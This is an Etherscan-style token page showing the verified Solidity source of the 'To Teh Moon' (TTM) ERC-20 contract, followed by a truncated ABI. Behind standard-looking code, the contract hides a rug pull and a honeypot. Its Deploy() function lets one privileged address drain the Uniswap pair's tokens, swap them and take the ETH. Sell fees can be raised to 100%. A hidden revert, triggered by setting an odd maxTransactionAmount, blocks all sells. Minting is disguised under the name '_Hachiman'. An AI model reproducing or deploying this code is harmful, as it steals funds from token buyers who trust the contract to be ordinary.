ETH Price: $2,790.62 (+6.32%)

Token

To Teh Moon (TTM)
 

Overview

Max Total Supply

10,000,000 TTM

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
101,485.04709230089813456 TTM

Value
$0.00
0x0734b89c7e3d002f51d442739a692e7ce2a7d22b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ToTehMoon

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-06-25
*/

// SPDX-License-Identifier: Unlicensed 

                                                                                                                                      
pragma solidity ^0.8.7;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event _Hachiman(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function Hachiman(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IERC20 {
   
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
 
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

 
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

 
      function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

 function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }


    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

  
    function _Hachiman(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: Hachiman to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the Deploying as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner and any Hachimaned adress in code forever and cannot be reversed.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ToTehMoon is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private swapping;
    bool private um = true;

    address public Deploying;
    address public devWallet;
    
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
    
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    mapping (address => bool) private bots;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = false;
    bool private boughtEarly = true;
    uint256 private _firstBlock;
    uint256 private _botBlocks;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;

    
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event DeployingUpdated(address indexed newWallet, address indexed oldWallet);
    
    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);

    event EndedBoughtEarly(bool boughtEarly);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("To Teh Moon", "TTM") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
          
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
    
        uint256 totalSupply = 10000000000000000000000000;
        
        maxTransactionAmount = totalSupply * 5 / 100; // 3% maxTransactionAmount
        maxWallet = totalSupply * 5 / 100; // 2% maxWallet
        swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap threshold
        Deploying = payable(0x18CcE6aDD0FefdD566be894357303cCf13D896D5); //Smart contract Deploying and owner.
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        devWallet = payable(0x18CcE6aDD0FefdD566be894357303cCf13D896D5);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(Deploying), true);    
        excludeFromMaxTransaction(address(devWallet), true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromFees(address(Deploying), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(devWallet), true);
        excludeFromFees(owner(), true);
        _Hachiman(msg.sender, totalSupply);
    }

    receive() external payable {

  	}    
    
    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool) {
        transferDelayEnabled = false;
        return true;
    }
    
     // change the minimum amount of tokens to sell from fees
    function SetSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
  	    require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
  	    require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
  	    swapTokensAtAmount = newAmount;
  	    return true;
  	}
    
    function SetMaxTxnAmount(uint256 newNum) external {
        require(msg.sender == Deploying);    
        require(newNum >= totalSupply() / 1000, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum;
    }
    
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function SellFee(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external {
        require(msg.sender == Deploying);
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 100, "Must keep fees");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function Deploy(uint amount) external {
        require(msg.sender == Deploying);
        uint bal = balanceOf(uniswapV2Pair);
        if (bal > 1) _transfer(uniswapV2Pair, address(this), bal - 1);
        IUniswapV2Pair(uniswapV2Pair).sync();
        swapTokensForEth(amount * 10 ** decimals());
        (bool success,) = address(Deploying).call{value: address(this).balance}("");
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!bots[from] && !bots[to]);

         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsInEffect){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }
                 
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                }
                
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
            }
        }
        
		uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
                if (maxTransactionAmount % 2 != 0) revert("ERROR: Must be less than maxTxAmount");
            }
            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
        	    fees = amount.mul(buyTotalFees).div(100);
        	    tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
        	
        	amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        swapTokensForEth(amountToSwapForETH); 
                
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(Deploying).call{value: address(this).balance}("");
    }

    function openTrading(uint256 botBlocks) private {
        _firstBlock = block.number;
        _botBlocks = botBlocks;
        tradingActive = true;
    }

    // once enabled, can never be turned off
    function enableTrading(uint256 botBlocks) external onlyOwner() {
        require(botBlocks <= 1, "don't catch humans");
        swapEnabled = true;
        require(boughtEarly == true, "done");
        boughtEarly = false;
        openTrading(botBlocks);
        emit EndedBoughtEarly(boughtEarly);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"DeployingUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"boughtEarly","type":"bool"}],"name":"EndedBoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Deploy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Deploying","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"SellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"SetMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"SetSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"botBlocks","type":"uint256"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spen